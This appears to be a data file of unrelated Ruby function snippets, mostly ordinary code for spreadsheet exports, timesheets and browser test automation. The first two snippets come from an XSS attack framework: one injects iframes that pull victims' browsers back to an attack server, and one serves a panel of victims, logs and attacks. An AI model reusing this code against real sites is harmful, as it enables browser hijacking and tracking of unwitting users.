\"#{req.host}:#{self.serverPort}#{self.serverURI}#{data['Location']}\".gsub(/\\/\\//, '/')\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t\t\tiframe = XSSF_CREATE_IFRAME(\"REDIRECT_IFRAME\", 50, 50);\n\t\t\t\t\t\t\t\t\tiframe.src = \"http://#{src}\";\n\t\t\t\t\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tdata['Content-Type'] = \"text/javascript\"\n\t\t\t\t\t\t\t\tXSSF_RESP(res, code, \"200\", \"OK\", data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse \t# 2xx\n\t\t\t\t\t\t\tif (data.body =~ /^(.*<html[^>]*>)(.*)(<\\/html>.*)$/im)\t\n\t\t\t\t\t\t\t\tsrc = \"#{req.host}:#{self.serverPort}#{self.serverURI}#{URI.parse(URI.escape(url)).path.to_s}\".gsub(/\\/\\//, '/')\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t# Can't create IFRAME dynamically because we need the src to be the attack server ! Victim need to ask again\n\t\t\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t\t\tiframe = XSSF_CREATE_IFRAME(\"MODULE_IFRAME\", 50, 50);\n\t\t\t\t\t\t\t\t\tiframe.src = \"http://#{src}\";\n\t\t\t\t\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tdata['Content-Type'] = \"text/javascript\"\n\t\t\t\t\t\t\t\tXSSF_RESP(res, code, data.code, data.message, data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_RESP(res, add_xssf_post(data.body, id, req.host), data.code, data.message, data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tXSSF_404(res)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn false\n\t\t\tend", "def new_weather(weather)\n\t\t find('li', :text=>'监测数据').click\n\t\t find('li', :text=>'分时天气数据').click\n\t\t current_page = page.driver.browser.window_handle\n\t\t click_button('newbt')\n\t\t Util.popup_window do\n\t\t fill_in('date', :with=>weather.day)\n\t\t\tselect(weather.hour, :from => \"hour\")\n\t\t\tselect(weather.province, :from => \"province\")\n\t\t\tselect(weather.city, :from => \"city\")\n\t\t\tselect(weather.district, :from => \"district\")\n\t\t\tfill_in(weather.street, :with=>weather.street)\n\t\t\tselect(weather.lightcondition, :from => \"lightCondition\")\n\t\t\tselect(weather.raincondition, :from => \"rainCondition\")\n\t\t\tselect(weather.windspeed, :from => \"wind_speed\")\n\t\t\tfill_in('temprature', :with=>weather.temperature)\n\t\t\tfill_in('humity', :with=>weather.humity)\n \t\t click_button('dobt')\n\t\t end\n Util.wait_close_popup_window\n page.driver.browser.switch_to.window(current_page)\n end", "def excel\n begin\n @xml = Builder::XmlMarkup.new(:indent => 1)\n select_reqs\n\n headers['Content-Type'] = \"application/vnd.ms-excel\"\n headers['Content-Disposition'] = 'attachment; filename=\"Requirements.xls\"'\n headers['Cache-Control'] = ''\n render(:layout=>false)\n rescue Exception => e\n render(:text=>\"<b>#{e}</b><br>#{e.backtrace.join(\"<br>\")}\")\n end\n end", "def build_log_page(req, res)\n\t\t\t\tcase req.query[\"#{PARAM_GUI_PAGE}\"]\n\t\t\t\t\twhen /^banner$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_banner())\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^victims$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_victims())\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^logs$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_logs((req.query[\"#{PARAM_GUI_VICTIMID}\"]).to_i))\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^attack$/\n\t\t\t\t\t\tif (req.query[\"#{PARAM_GUI_ACTION}\"] =~ /^export$/)\n\t\t\t\t\t\t\tfilename = \"LOG.\" + (URI.unescape(req.query[\"#{PARAM_GUI_EXTENTION}\"])).strip\n\t\t\t\t\t\t\tXSSF_RESP(res, get_log_content((req.query[\"#{PARAM_GUI_LOGID}\"]).to_i), 200, \"OK\", {\"Content-Disposition\" => \"attachment; filename=#{filename}\", \"Content-Type\" => \"application/octet-stream\"})\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tXSSF_RESP(res, get_html_attack((req.query[\"#{PARAM_GUI_LOGID}\"]).to_i))\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^stats$/\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Stats</title></head>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=stat\">\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^stat$/\n\t\t\t\t\t\tif (req.query[\"#{PARAM_GUI_JSON}\"])\n\t\t\t\t\t\t\tXSSF_RESP(res, build_json(req.query[\"#{PARAM_GUI_JSON}\"]), 200, \"OK\", {'Content-type' => 'application/octet-stream', 'Cache-Control' => 'no-cache'})\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tXSSF_RESP(res, get_html_stats())\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^help$/\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Logs</title></head>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t<frame name=\"fr1\" \tsrc=\"#{XSSF_GUI_FILES}help.html\">\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Logs</title></heads>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t\t<frameset cols=\"30%, 35%, 35%\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr1\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=victims\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr2\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=logs\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr3\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=attack\">\n\t\t\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\tend\n\t\t\tend", "def export\r\n \trequire 'stringio'\r\n \t\r\n \t@excel_book = generate_spreadsheet\r\n \tdata = StringIO.new ''\r\n \t@excel_book.write data\r\n \t#require 'spreadsheet'\r\n \t#headers['Content-Type'] = \"application/vnd.ms-excel\" \r\n \t#headers['Content-Disposition'] = 'attachment; filename=\"report.xls\"' \r\n \t#headers['Cache-Control'] = '' \r\n \t\r\n \t#@participants = Participant.all \r\n \t\r\n \t#render :layout => 'non_application' \r\n \t#render :layout => false \r\n \t\r\n # Create workbook.\r\n t = Time.now\r\n file = \"registration_data_\" + t.strftime(\"%Y%m%d%H%M%S\") + \".xls\" \r\n\r\n puts file\r\n\r\n #workbook = Excel.new(\"/reports/#{file}\") \r\n\tsend_data(data.string, {\r\n :disposition => 'attachment',\r\n :encoding => 'utf8',\r\n :stream => false,\r\n :type => 'application/excel',\r\n :filename => \"#{file}\"})\r\n\r\n #redirect_to :action => 'index' \r\n \t\r\n end", "def XOsavePage()\n\t\tbegin\n\n\t\t\tfileName= $gcfd.logPath+@wwBrws.url.tr(\" =%?*/\\\\:\",'_')+Time.now.to_i.to_s+'.html'\n\t\t\tFile.open(fileName, 'w') do |file|\n\t\t\t\tfile.write(@wwBrws.html)\n\t\t\tend\n\t\t\t$alog.lwrite('HTML page saved in '+ fileName, 'DEBG')\n\t\t\tres= OK\n\t\trescue\n\t\t\t$alog.lwrite('Problems saving page '+ fileName, 'ERR_') \t\t\t#\n\t\t\tres= CRITICAL\n\t\tend\n\t\treturn res\n\tend", "def Write(status,madulename,path,linkName,resultxlPath)\n\tbegin\n\t\t\t@x = \"\\\"#{path}\\\"\"\n\t\t\t@y = \"\\\"#{linkName}\\\"\"\n\t\t\t$resultExcelPath = \"#{resultxlPath}\" + \"/\" + \"#{$current_feature}\" + \"-\" +\"#{$deviceID}\"+ \"-\" + $deviceType.to_s + \".xlsx\"\n\t\t\t@mName = \"#{madulename.to_s.strip}\"\n\t\t\t@workbook = RubyXL::Parser.parse($resultExcelPath)\n\t\t\t@moduleSheet2 = @workbook[madulename.to_s.strip]\n\t\t\t @rowCount = @moduleSheet2.sheet_data.size\n\t\t\t\tk=0\n\t\t\t\t\tif $completeScenario.include? \",\"\n\n\t\t\t\t\t\t\t@tcArray = $completeScenario.split(\",\")\n\t\t\t\t\t\t\t@tcCount = @tcArray.length\n\t\t\t\t\t\tfor tc in 0..@tcCount.to_i-1\n\t\t\t\t\t\t\t$tcid = @tcArray[tc]\n\t\t\t\t\t\t\tfor k in 1..@rowCount.to_i-1\t\t\n\t\t\t\t\t\t\t\tif @moduleSheet2[k][0]\n\t\t\t\t\t\t\t\t\t\t\t\t\t@CellValue = @moduleSheet2[k][1].value\n\t\t\t\t\t\t\t\t\t\t\t\t\tif @CellValue.strip == $tcid.strip\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 3, status)\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif status== 'Pass'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('0ba53d')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('a50b26')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 4,'',\"HYPERLINK(#{@x}, #{@y})\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:top, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:bottom, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:left, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:right, 'thin')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_font_color(font_color = '277BD5')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@workbook.write($resultExcelPath)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\tfor k in 1..@rowCount\n\t\t\t\t\t\t\t\t@CellValue = @moduleSheet2[k][1].value\n\t\t\t\t\t\t\tif @CellValue.strip == $completeScenario.strip\n\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 3, status)\n\t\t\t\t\t\t\t\t\tif status== 'Pass'\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('0ba53d')\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][3].change_fill('a50b26')\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.add_cell(k, 4,'',\"HYPERLINK(#{@x}, #{@y})\")\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:top, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:bottom, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:left, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_border(:right, 'thin')\n\t\t\t\t\t\t\t\t\t\t@moduleSheet2.sheet_data[k][4].change_font_color(font_color = '277BD5')\n\t\t\t\t\t\t\t\t\t\t@workbook.write($resultExcelPath)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\tend\n\n\n\n\n\t\t\t\t\tend\n\trescue => err\n\traise(\"Excel operations fail: '#{err}'\")\n \n\tend\t \n\t\t\t\t\t\nend", "def creat_xls(num)\n ss = WIN32OLE::new('excel.Application')\n wb = ss.Workbooks.add\n ws = wb.Worksheets(num)\n ss.visible = true # For debug\n xls = [ss,wb,ws]\nend", "def create\n # byebug\n @time_sheet = current_user.time_sheets.new(clock_in: DateTime.now.localtime)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: \"Time sheet was successfully created.\" }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def openSheet(sheet_key, page=0) \n\t\tws = @session.spreadsheet_by_key(sheet_key).worksheets[page]\n\tend", "def set_timesheet\n begin\n @timesheet = @current_employee.timesheets.find(params[:id])\n rescue StandardError => ex\n @timesheet = nil\n end\n end", "def create\n @question_sheet = Fe::QuestionSheet.new_with_page\n\n respond_to do |format|\n if @question_sheet.save\n format.html { redirect_to fe_admin_question_sheet_path(@question_sheet) }\n format.xml { head :created, :location => admin_question_sheet_path(@question_sheet) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question_sheet.errors.to_xml }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(params[:timesheet])\n\n #Assign employee id of the user logged in\n @timesheet.employee_id = current_user.employee.id\n \n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render json: @timesheet, status: :created, location: @timesheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_timesheet\n @timesheet = Logtime.find_by_id(params[:id])\n if @timesheet\n else\n \trender json: { valid: false}, status: 404\n end\n end", "def new_trade_environment_setup\n\treturn if authorise_for_web('trade_environment_setup','trade_env_setup')== false\n\t\n is_view = nil\n if session[:current_prod_schedule]== nil\n msg = \"You must first select or set a 'current' production schedule from the 'production schedules' tab\"\n @freeze_flash = true\n redirect_to_index(msg)\n return\n else\n session[:current_prod_schedule].reload\n is_view = (session[:current_prod_schedule].production_schedule_status_code == \"closed\")\n if is_view\n @freeze_flash = true\n redirect_to_index(\"The schedule has been closed.\")\n return\n end\n end\n\t\n\t\n\t\trender_new_trade_environment_setup\nend", "def open_browser_by_watir(options = {})\r\n\r\n begin\r\n support_unicode\r\n rescue => e\r\n puts \"Unicode may not work in IE, #{e}\"\r\n end\r\n\r\n\t\t\tif options && options.class == String\r\n\t\t\t options = {:base_url => options.to_s }\r\n\t\t\tend\r\n\t\t\t \r\n\t\t\tif options && options.class == Hash && options[:base_url]\r\n \tbase_url ||= options[:base_url]\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tbase_url = options[:base_url] rescue nil \r\n\t\t\tbase_url ||= $TESTWISE_PROJECT_BASE_URL\t\t\t\r\n base_url ||= $BASE_URL\r\n \r\n raise \"base_url must be set\" if base_url.nil?\r\n\r\n default_options = {:speed => \"fast\",\r\n :visible => true,\r\n :highlight_colour => 'yellow',\r\n :close_others => true,\r\n :start_new => false, # start a new browser always\r\n :go => true}\r\n\r\n options = default_options.merge options\r\n ($TESTWISE_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\r\n\r\n if base_url =~ /^file:/\r\n uri_base = base_url\r\n else\r\n uri = URI.parse(base_url)\r\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\r\n end\r\n\r\n if options[:start_new]\r\n @web_browser = WebBrowser.new(uri_base, nil, options)\r\n else\r\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\r\n end\r\n\r\n if base_url =~ /^file:/\r\n goto_url(base_url) # for files, no base url\r\n else\r\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\r\n end\r\n\r\n return @web_browser\r\n end", "def invokeRazooSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*iexplore\", \n\t\t:url => \"https://www-qatrunk.razoo.com/login\",\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\t$mylog.info \"Razoo Site gets invoked successfully!\"\n\tputs \"Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "def contact_view\n if params[:col].blank? && params[:dir].blank?\n params.merge!(:col => 'created_at', :dir => 'up')\n end\n sort_column_order\n\t\tset_page_number(190,191,70,params[:status])\n session[:referer] = nil\n\t\tdata=params\n\t\tapproved_or_billed_time_and_expense_entry(data)\n \tsession[:current_time_entry] = nil\n\t\tget_all_contacts#get_matters_and_contacts\n\t\tload_time_and_expense_entry(\"contact\",data)\n \tadd_breadcrumb \"Non-Matter Related\", :physical_timeandexpenses_contact_view_path\n\n #Following code added for Feature #8234 - export to excel in all view pages in T & E\n ##Params are stored in instance variable for the generating link for generating excel report\n\t\t@row_headers = [\"T/E\",\"Date\",\"Lawyer Designation / Non-User\",\"Time(HH:MM)\",\"Dur(Hrs)\",\"Rate($)\",\"Activity\",\"Description\",\"Billable (Y/N)\",\"Final Bill Amt($)\",\"Status\"]\n\t\tcontact = \"#{@contact.try(:first_name)} #{@contact.try(:last_name)}\".strip\n\t\t@report_heads = [contact,params[:start_date],params[:end_date]]\n @contact = @object\n\t\trespond_to do|format|\n\t\t\tformat.html{}\n\t\t\tformat.xls {\n\t\t\t\tsend_data(LiviaExcelReport.generate_xls_for_time_expenses(@saved_time_entries,@saved_expense_entries,@row_headers,@report_heads,\"contact_view\",@dur_setng_is_one100th),:filename => \"time_expense.xls\", :type => 'application/xls', :disposition => 'inline')\n\t\t\t}\n\t\tend\n\tend", "def invokeRazooSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*safari\", \n\t\t:url => \"https://www-stage.razoo.com/login\",\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "def test02_homepage_event_module\n\t\t#define current date and time\n\t\t@c_month_full = Time.now.strftime(\"%B\").to_i #The full month name (January)\n\t\t@c_month = Time.now.strftime(\"%m\").to_i #01-12\n\t\t@c_day = Time.now.strftime(\"%d\").to_i #01-31\n\t\t@c_year = Time.now.strftime(\"%Y\").to_i #2013\n\t\t@c_hour = Time.now.strftime(\"%H\").to_i #00-23\n\t\t@am_pm = \"\"\n\t\t\n\t\t#add one hour to current time\n\t\t@n_hour = @c_hour +1\n\n\t\t@day_zero = \"\"\n\t\t#add a zero to day if needed\n\t\tif @c_day < 10\n \t\t\t@day_zero = \"0\"\n\t\tend\n\t\t#calculate AM or PM\n\t\tif @n_hour > 11\n\t\t\t@am_pm = \"PM\"\n\t\telse\n\t\t\t@am_pm = \"AM\"\t\n\t\tend\n\t\t#change PM time to 01-11\n\t\tif @n_hour > 12\n\t\t\t@n_hour = @n_hour - 12\n\t\tend\n\t\t#if AM && 00 then change hour to 12\n\t\tif @n_hour == 0 && @am_pm == \"AM\"\n\t\t\t@n_hour = 12\n\t\tend\n\t\t\n\t\tlogin $user_1_email, $master_password\n\t\tsleep 3\n\t\t$browser.goto($patch_flatiron_event_new)\n\t\n\t\t$post_event_title.when_present.set(\"Event #{random}\")\n \t\t$post_event_calendar_start_text.when_present.set(\"#{@c_year}-#{@c_month}-#{@day_zero}#{@c_day}\") \n \t\t$post_event_time_start_field.when_present.click\n \t\t$post_event_select_time.when_present.select(\"#{@n_hour}:00 #{@am_pm}\")\n \t\t$post_event_location.when_present.set(\"Location #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n \t\t$post_add_media_article.when_present.click\n\t\tfile_upload \"DungenessSpitVideo.mov\"\n\t\t$post_now_event.fire_event(\"onclick\")\n\t\t\n\t\tassert $post_new_post.exists?\n\t\t\n\t\t#go back to homepage\n\t\t$browser.goto($patch)\n\t\t#verify event exists with correct information\n\t\tsleep 3\n\t\t$browser.text.include? \"Event #{random}\"\n\t\t$browser.text.include? \"Location #{random}\"\n\t\t$browser.text.include? \"#{@c_month_full} #{@c_day}, #{@c_year}, #{@n_hour}:00 #{@am_pm}\"\n\tend", "def show\n authorize @daily_timesheet\n set_return_to\n @return_to = get_return_to_or_default daily_timesheets_url\n end", "def insert_data\n @driver.find_element(xpath: @calendar_icon).click\n @driver.find_element(xpath: @current_day).click\n sleep 2\n end", "def initialize(filename, name, index, encoding, activesheet, firstsheet)\n @filename = filename\n @name = name\n @index = index\n @encoding = encoding\n @activesheet = activesheet\n @firstsheet = firstsheet\n\n @type = 0x0200\n @ext_sheets = []\n @using_tmpfile = 1\n @filehandle = \"\"\n @fileclosed = false\n @offset = 0\n @xls_rowmax = 0\n @xls_colmax = 0\n @xls_strmax = 0\n @dim_rowmin = 0\n @dim_rowmax = 0\n @dim_colmin = 0\n @dim_colmax = 0\n @dim_changed = 0\n @colinfo = []\n @selection = [0, 0]\n @panes = []\n @active_pane = 3\n @frozen = 0\n @selected = 0\n @hidden = 0\n\n @paper_size = 0x0\n @orientation = 0x1\n @header = ''\n @footer = ''\n @hcenter = 0\n @vcenter = 0\n @margin_head = 0.50\n @margin_foot = 0.50\n @margin_left = 0.75\n @margin_right = 0.75\n @margin_top = 1.00\n @margin_bottom = 1.00\n\n @title_rowmin = nil\n @title_rowmax = nil\n @title_colmin = nil\n @title_colmax = nil\n @print_rowmin = nil\n @print_rowmax = nil\n @print_colmin = nil\n @print_colmax = nil\n\n @print_gridlines = 1\n @screen_gridlines = 1\n @print_headers = 0\n\n @fit_page = 0\n @fit_width = 0\n @fit_height = 0\n\n @hbreaks = []\n @vbreaks = []\n\n @protect = 0\n @password = nil\n\n @col_sizes = {}\n @row_sizes = {}\n\n @col_formats = {}\n @row_formats = {}\n\n @zoom = 100\n @print_scale = 100\n\n @leading_zeros = 0\n\n @outline_row_level = 0\n @outline_style = 0\n @outline_below = 1\n @outline_right = 1\n @outline_on = 1\n\n _initialize\n end", "def home()\n@ss.close\n @titleLabel.setVisible(true)\n @actionNew.setVisible(true)\nsetWindowTitle('Internet Cafe Customer Management System (I.C.C.M.S.) by SAFEW')\nend", "def set_info\n @page_header = 'Insight Engine'\n @page_secondary = 'Let\\'s get a view at 10,000 feet.'\n @page_title = 'LeadAccount | Insight Engine'\n @page_icon = 'lightbulb'\n end", "def set_time_sheet\n @time_sheet = ProjectTimeSheet.find_by_id(params[:id])\n if @time_sheet\n else\n \trender json: { valid: false}, status: 404\n end\n end", "def create\n # Create the spreadsheet file in /tmp and write the file's contents to it\n filename = \"#{DateTime.now.strftime(\"%Y%m%d%H%M%S\")}_sheet.xls\"\n data = params[:file].read\n spreadsheet_file = File.new(\"#{RAILS_ROOT}/tmp/#{filename}\", 'w+')\n spreadsheet_file.write(data)\n spreadsheet_file.close\n \n begin\n # Create a new instance of DatabaseUpdate for this spreadsheet. \n # NOTE: All the work of running the update on the database is handled\n # inside the DatabaseUpdate class on its first instantiation. i.e., upon create.\n @dbup = DatabaseUpdate.create(:spreadsheet_path => spreadsheet_file.path)\n redirect_to @dbup\n rescue CallLogExceptions::InvalidSpreadsheetError\n # DatabaseUpdate has thrown an error related to the format of the spreadsheet. Alert the user.\n flash[:error] = \"<strong>The spreadsheet you provided is not in the anticipated format.</strong><br/>Please correct the sheet and try again.\"\n redirect_to home_url(Person.find(session[:user_id]))\n end\n end", "def goToDetailPageJourney(sObjectId)\n begin\n #puts \"in AccountAssignmentFromLead:goToDetailPage\"\n url = @driver.current_url();\n newUrl = url.split('/')\n finalURL = \"#{newUrl[0]}//#{newUrl[2]}/#{sObjectId}\"\n #puts finalURL\n @driver.get \"#{newUrl[0]}//#{newUrl[2]}/#{sObjectId}\"\n\n EnziUIUtility.wait(@driver, :id, \"taction:0\", @timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n\n EnziUIUtility.wait(@driver, :id, \"taction:0\", @timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n\n #click on Add Opportunity\n @driver.find_element(:id, \"taction:0\").click\n\n #puts \"########\"\n #puts @driver.current_url()\n EnziUIUtility.switchToWindow(@driver, @driver.current_url())\n #puts \"$$$$$$$$\"\n return true\n rescue\n return false\n end\n\n end", "def click_export_to_excel\n wait_until_bus_section_load\n export_to_excel_btn.click\n end", "def createPages(interface,data)\r\n page = interface.interface_name.first\r\n \r\n headerContent = \"#{@@headerFile1}\\n<title>#{page}</title>\\n<link rel='stylesheet' type='text/css' href='/stylesheets/swui.css' />\\n#{@@javascriptsFile}\\n\"\r\n \r\n footerContent = @@footerFile\r\n \r\n # References in a hash variable\r\n @references = Hash.new\r\n buffer = interface.interface_ref.first\r\n unless buffer.nil?\r\n buffer = buffer.split(\";\")\r\n buffer.each do |value| \r\n value=value.split(\"=\") \r\n @references[value[0]] = value[1]\r\n end\r\n end\r\n \r\n @bodyContent = \"\"\r\n # ajaxcontrolIds variable holds an array with the page ajaxcontrol ids \r\n @ajaxcontrolIds = Array.new\r\n @effectIds = Array.new\r\n @concreteInterfaceIds = Array.new\r\n @eventData = \"// Retrieves the events specification embedded in the page code \\n function readEvents(interfaceName) { \\n\"\r\n @animData = \"// Retrieves the decorations specification embedded in the page code \\n function readDecorations(interfaceName) { \\n\"\r\n @transData = \"// Retrieves the transitions specification embedded in the page code \\n function readTransitions(interfaceName) { \\n\"\r\n success = printInterface(page,interface.concrete_code.first, interface.ajaxcontrols.first, interface.concrete_interfaces.first, interface.effects.first, data)\r\n @eventData << \" return '' \\n}\\n\"\r\n @animData << \" return '' \\n}\\n\"\r\n @transData << \" return '' \\n}\\n\"\r\n @bodyContent << \"\\n\"\r\n @bodyContent << \"<script type='text/javascript'> \\n\"\r\n @bodyContent << printAjaxcontrolJS\r\n @bodyContent << printEffectJS\r\n @bodyContent << \"// Call updateInterface function \\n\"\r\n @bodyContent << \"function callUpdateInterfaces() { \\n\"\r\n if (success)\r\n @bodyContent << \"updateInterfaces('#{page}');\\n\" \r\n end\r\n @bodyContent << \"}\\n\"\r\n if (success)\r\n @bodyContent << \"// Retrieves the JSON Context or Index data embedded in the page code \\n\"\r\n @bodyContent << \"function readJSONData(interfaceName) { \\n\"\r\n @bodyContent << \"if (interfaceName == '#{page}') { \\n\"\r\n @bodyContent << \"return #{data.inspect} \\n\" \r\n @bodyContent << \"} \\n\"\r\n @bodyContent << \"return '' \\n\"\r\n @bodyContent << \"}\\n\"\r\n @bodyContent << @eventData\r\n @bodyContent << @animData\r\n @bodyContent << @transData\r\n end\r\n @bodyContent << \"</script>\"\r\n headerContent << printEffectDep\r\n headerContent << 